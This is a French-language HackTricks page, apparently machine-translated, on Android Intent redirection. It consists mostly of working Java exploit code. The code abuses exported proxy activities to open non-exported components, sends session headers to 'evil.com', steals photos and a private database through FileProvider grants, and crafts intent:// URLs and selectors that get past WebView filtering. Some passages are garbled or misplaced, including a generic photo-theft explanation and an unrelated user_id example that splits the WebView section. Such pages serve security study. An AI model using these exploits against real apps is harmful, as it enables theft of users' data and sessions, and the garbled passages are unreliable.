mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 16:39:32 +00:00
292 lines
20 KiB
Markdown
292 lines
20 KiB
Markdown
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
**Recherche tirée de** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
|
|
|
# Introduction
|
|
|
|
Cette vulnérabilité ressemble à **Open Redirect en sécurité web**. Étant donné que la classe `Intent` est `Parcelable`, **les objets appartenant à cette classe** peuvent être **passés** en tant que **données supplémentaires** dans un autre objet `Intent`. \
|
|
De nombreux développeurs **utilisent** cette **fonctionnalité** et créent des **composants proxy** (activités, récepteurs de diffusion et services) qui **prennent un Intent intégré et le passent à des méthodes dangereuses** telles que `startActivity(...)`, `sendBroadcast(...)`, etc. \
|
|
C'est dangereux car **un attaquant peut forcer l'application à lancer un composant non exporté qui ne peut pas être lancé directement depuis une autre application**, ou à accorder à l'attaquant l'accès à ses fournisseurs de contenu. **`WebView`** change parfois également une **URL d'une chaîne en un objet `Intent`**, en utilisant la méthode `Intent.parseUri(...)` et le passe à `startActivity(...)`.
|
|
|
|
{% hint style="info" %}
|
|
En résumé : Si un attaquant peut envoyer un Intent qui est exécuté de manière non sécurisée, il peut potentiellement accéder à des composants non exportés et les exploiter.
|
|
{% endhint %}
|
|
|
|
# Un cas typique
|
|
|
|
Examinons un exemple. Fragment du fichier `AndroidManifest.xml`.
|
|
```markup
|
|
<activity android:name=".ProxyActivity" android:exported="true" />
|
|
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
|
```
|
|
Activité `ProxyActivity`
|
|
```java
|
|
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
|
```
|
|
Activité `AuthWebViewActivity`
|
|
```java
|
|
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
|
```
|
|
`AuthWebViewActivity` est un exemple de **fonctionnalité cachée de l'application qui effectue certaines actions non sécurisées**, en l'occurrence en passant la session d'authentification de l'utilisateur à une URL obtenue à partir du paramètre `url`.
|
|
|
|
Les restrictions d'exportation signifient que **l'attaquant ne peut pas accéder directement à `AuthWebViewActivity`**. Un appel direct...
|
|
```java
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
|
intent.putExtra("url", "http://evil.com/");
|
|
startActivity(intent);
|
|
```
|
|
Lance une `java.lang.SecurityException`, en raison d'un `Refus de Permission`: `AuthWebViewActivity` n'est pas exporté à partir de l'uid 1337.
|
|
|
|
Mais l'attaquant peut forcer la victime à lancer `AuthWebViewActivity` elle-même:
|
|
```java
|
|
Intent extra = new Intent();
|
|
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
|
extra.putExtra("url", "http://evil.com/");
|
|
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
|
intent.putExtra("extra_intent", extra);
|
|
startActivity(intent);
|
|
```
|
|
et aucune violation de sécurité ne se produira, car **l'application qui est attaquée a accès à tous ses propres composants**. En utilisant ce fragment de code, l'attaquant peut contourner les restrictions intégrées du système Android.
|
|
|
|
# Escalade de l'impact
|
|
|
|
Afin d'escalader l'impact de cette vulnérabilité, vous devez **trouver d'autres vulnérabilités / erreurs de configuration qui pourraient permettre d'augmenter l'impact de la vulnérabilité** (car la vulnérabilité en elle-même ne crée aucun risque).
|
|
|
|
## Escalade des attaques via les fournisseurs de contenu
|
|
|
|
Outre l'accès à des composants arbitraires de l'application d'origine, l'**attaquant peut tenter d'accéder à ceux des fournisseurs de contenu de l'application vulnérable** qui satisfont les conditions suivantes :
|
|
|
|
* il doit être **non exporté** (sinon il **pourrait être attaqué directement**, sans utiliser la vulnérabilité que nous discutons dans cet article)
|
|
* il doit avoir le drapeau **`android:grantUriPermissions`** défini sur **`true`**.
|
|
* `android:grantUriPermissions="true"` indique que votre code Java peut utiliser `FLAG_GRANT_READ_URI_PERMISSION` et `FLAG_GRANT_WRITE_URI_PERMISSION` pour **n'importe quelle `Uri` servie par ce `ContentProvider`**.
|
|
* `android:grantUriPermissions="false"` indique que **seuls les `Uri` spécifiées par les éléments enfant `<grant-uri-permission>`** peuvent être utilisées avec `FLAG_GRANT_READ_URI_PERMISSION` et `FLAG_GRANT_WRITE_URI_PERMISSION`.
|
|
|
|
L'attaquant doit se définir comme destinataire d'une intention intégrée et définir les indicateurs suivants :
|
|
|
|
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permet un accès persistant au fournisseur (sans ce drapeau, l'accès n'est valable qu'une seule fois)
|
|
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permet l'accès URI par préfixe - par exemple, au lieu d'obtenir un accès séparé à chaque fois en utilisant un chemin complet tel que `content://com.victim.provider/image/1`, l'attaquant peut accorder l'accès à tout le contenu du fournisseur en utilisant l'URI `content://com.victim.provider/` et ensuite utiliser `ContentResolver` pour adresser `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
|
|
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permet des opérations de lecture sur le fournisseur (telles que `query`, `openFile`, `openAssetFile`)
|
|
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permet des opérations d'écriture
|
|
|
|
Un exemple de fournisseur typique où un attaquant peut y accéder et effectuer des opérations régulières telles que `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`.
|
|
```markup
|
|
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
|
```
|
|
# Exemple de vol de photos d'utilisateur dans le fichier `AndroidManifest.xml`
|
|
|
|
Lorsqu'une application Android demande l'autorisation d'accéder à la galerie de photos de l'utilisateur, elle doit inclure cette autorisation dans son fichier `AndroidManifest.xml`. Si l'application ne spécifie pas correctement les autorisations requises, un attaquant peut exploiter cette vulnérabilité pour accéder aux photos de l'utilisateur sans son consentement.
|
|
|
|
Pour ce faire, l'attaquant peut utiliser une technique appelée "injection d'intent". Cela implique de créer une application malveillante qui envoie un intent à l'application cible pour accéder à ses autorisations. Si l'application cible ne vérifie pas correctement les autorisations, l'attaquant peut accéder aux photos de l'utilisateur et les voler.
|
|
|
|
Pour se protéger contre cette vulnérabilité, les développeurs doivent s'assurer que leur application vérifie correctement les autorisations avant d'accéder à des données sensibles telles que les photos de l'utilisateur. Les utilisateurs doivent également être conscients des autorisations demandées par les applications et ne pas accorder d'autorisations excessives à des applications non fiables.
|
|
```markup
|
|
<activity android:name=".LeakActivity" android:exported="true" />
|
|
```
|
|
Fichier `MainActivity.java`
|
|
```java
|
|
Intent extra = new Intent();
|
|
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
|
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
|
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
|
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
|
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
|
extra.setData(Uri.parse("content://com.victim.provider/"));
|
|
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
|
intent.putExtra("extra_intent", extra);
|
|
startActivity(intent);
|
|
```
|
|
`LeakActivity.java`
|
|
```java
|
|
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
|
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
|
```
|
|
## Attaques sur Android File Provider
|
|
|
|
Cette vulnérabilité permet également à l'attaquant de **voler des fichiers d'application** situés dans des répertoires prédéterminés par le développeur. Pour une attaque réussie, l'application malveillante doit **obtenir des droits d'accès à Android File Provider, puis lire le contenu du fournisseur de fichiers à l'aide d'Android ContentResolver**.
|
|
|
|
Exemple de fournisseur de fichiers (pour plus de détails, voir [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
|
```markup
|
|
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
|
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
|
</provider>
|
|
```
|
|
Il fournit un accès en lecture/écriture aux fichiers d'une liste spéciale qui peut être trouvée dans les ressources de l'application, dans ce cas à `res/xml/provider_paths.xml`
|
|
|
|
Cela peut ressembler à ceci
|
|
```markup
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<paths>
|
|
<root-path name="root" path=""/>
|
|
<files-path name="internal_files" path="."/>
|
|
<cache-path name="cache" path=""/>
|
|
<external-path name="external_files" path="images"/>
|
|
</paths>
|
|
```
|
|
Chaque balise spécifie un répertoire racine avec une valeur `path` relative à la racine. Par exemple, la valeur `external_files` correspondra à `new File(Environment.getExternalStorageDirectory(), "images")`.
|
|
|
|
La valeur `root-path` correspond à `/`, c'est-à-dire qu'elle permet d'accéder à des fichiers arbitraires.
|
|
|
|
Supposons que nous avons des données secrètes stockées dans le fichier `/data/data/com.victim/databases/secret.db`: le vol de ce fichier peut ressembler à ceci dans `MainActivity.java`.
|
|
```java
|
|
Intent extra = new Intent();
|
|
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
|
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
|
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
|
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
|
intent.putExtra("extra_intent", extra);
|
|
startActivity(intent);
|
|
```
|
|
`LeakActivity.java`
|
|
```java
|
|
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
|
```
|
|
## Accès à des composants arbitraires via WebView
|
|
|
|
Un objet Intent peut être converti en chaîne avec un appel à `Intent.toUri(flags)` et de nouveau d'une chaîne à un Intent en utilisant `Intent.parseUri(stringUri, flags)`. Cette fonctionnalité est souvent utilisée dans WebView (le navigateur intégré de l'application) : l'application peut vérifier un schéma `intent://`, analyser l'URL en un Intent et lancer l'activité.
|
|
|
|
**Cette vulnérabilité peut être exploitée à la fois via d'autres vulnérabilités** (par exemple, la capacité d'ouvrir des liens arbitraires dans l'application dans WebView directement via des activités exportées ou par le biais du mécanisme de lien profond) dans l'application cliente et également à distance, y compris la cross-site scripting côté serveur ou MitM côté client.
|
|
|
|
Exemple de code vulnérable
|
|
```java
|
|
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
|
Uri uri = request.getUrl();
|
|
if("intent".equals(uri.getScheme())) {
|
|
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
|
return true;
|
|
}
|
|
return super.shouldOverrideUrlLoading(view, request);
|
|
}
|
|
```
|
|
Le point ici est que la méthode `shouldOverrideUrlLoading(...)` de la classe `WebViewClient` est appelée chaque fois que WebView essaie de charger un nouveau lien, mais donne à l'application la possibilité d'ajouter un gestionnaire personnalisé.
|
|
|
|
Pour exploiter cette vulnérabilité, l'attaquant doit créer une redirection WebView vers une URL de schéma d'intention spécialement préparée. Exemple de création d'URL
|
|
```java
|
|
Intent intent = new Intent();
|
|
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
|
intent.putExtra("url", "http://evil.com/");
|
|
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
|
```
|
|
# Exemple d'attaque
|
|
|
|
Supposons que nous ayons une application qui utilise une `Intent` pour lancer une activité qui affiche les détails d'un utilisateur. L'activité est lancée en utilisant l'ID de l'utilisateur comme extra dans l'intent. Le code ressemblerait à ceci :
|
|
|
|
```java
|
|
Intent intent = new Intent(this, UserDetailsActivity.class);
|
|
intent.putExtra("user_id", user_id);
|
|
startActivity(intent);
|
|
```
|
|
|
|
Un attaquant peut exploiter cette fonctionnalité en injectant une `Intent` malveillante qui remplace l'ID de l'utilisateur par un ID différent. Par exemple, l'attaquant peut créer une `Intent` qui remplace l'ID de l'utilisateur par l'ID de l'administrateur :
|
|
|
|
```java
|
|
Intent intent = new Intent(this, UserDetailsActivity.class);
|
|
intent.putExtra("user_id", admin_id);
|
|
startActivity(intent);
|
|
```
|
|
|
|
Si l'application ne vérifie pas l'identité de l'utilisateur avant d'afficher les détails, l'attaquant peut accéder aux informations sensibles de l'administrateur.
|
|
```java
|
|
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
|
```
|
|
Cette version contient **plusieurs restrictions par rapport à la version classique de la vulnérabilité** :
|
|
|
|
* Les objets intégrés `Parcelable` et `Serializable` ne peuvent pas être convertis en chaîne de caractères (ils seront ignorés)
|
|
* Les indicateurs d'insécurité `Intent.FLAG_GRANT_READ_URI_PERMISSION` et `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` sont **ignorés** lorsque `Intent.parseUri(...)` est appelé. Le parseur ne les laissera que si le drapeau `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` est défini, ce qui est très rare.
|
|
|
|
De nombreux développeurs oublient encore de filtrer complètement les intents reçus via WebView.
|
|
```java
|
|
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
|
Uri uri = request.getUrl();
|
|
if("intent".equals(uri.getScheme())) {
|
|
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
|
intent.addCategory("android.intent.category.BROWSABLE");
|
|
intent.setComponent(null);
|
|
startActivity(intent);
|
|
return true;
|
|
}
|
|
return super.shouldOverrideUrlLoading(view, request);
|
|
}
|
|
```
|
|
L'attaquant peut spécifier un composant non exporté via un sélecteur.
|
|
```java
|
|
Intent intent = new Intent();
|
|
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
|
intent.putExtra("url", "http://evil.com/");
|
|
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
|
```
|
|
Et contourner la protection de l'application contre les intents explicites. Nous recommandons donc également de filtrer le sélecteur.
|
|
```java
|
|
intent.addCategory("android.intent.category.BROWSABLE");
|
|
intent.setComponent(null);
|
|
intent.setSelector(null);
|
|
```
|
|
Mais même un filtrage complet ne garantit pas une protection complète, car un attaquant peut créer une intention implicite correspondant au `intent-filter` d'une activité non exportée. Exemple de déclaration d'activité:
|
|
```markup
|
|
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
|
<intent-filter>
|
|
<action android:name="android.intent.action.VIEW" />
|
|
<category android:name="android.intent.category.DEFAULT" />
|
|
<data android:scheme="victim" android:host="secure_handler" />
|
|
</intent-filter>
|
|
</activity>
|
|
```
|
|
|
|
```java
|
|
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
|
```
|
|
Nous recommandons donc de vérifier si une activité est exportée avant de la lancer.
|
|
|
|
## Autres façons de créer des intents non sécurisés
|
|
|
|
Certains développeurs d'applications implémentent leurs propres analyseurs d'intent (souvent pour gérer des liens profonds ou des messages push), en utilisant par exemple des objets JSON, des chaînes de caractères ou des tableaux d'octets, qui ne diffèrent pas de la valeur par défaut ou présentent un grand danger, car ils peuvent étendre des objets `Serializable` et `Parcelable` et permettent également de définir des indicateurs non sécurisés. Le chercheur en sécurité peut également rencontrer des versions plus exotiques de création d'intent, telles que la conversion d'un tableau d'octets en un `Parcel` puis la lecture d'un intent à partir de celui-ci.
|
|
```java
|
|
Uri deeplinkUri = getIntent().getData();
|
|
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
|
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
|
Parcel parcel = Parcel.obtain();
|
|
parcel.unmarshall(handle, 0, handle.length);
|
|
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
|
}
|
|
```
|
|
# Vuln app
|
|
|
|
{% embed url="https://github.com/oversecured/ovaa" %}
|
|
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|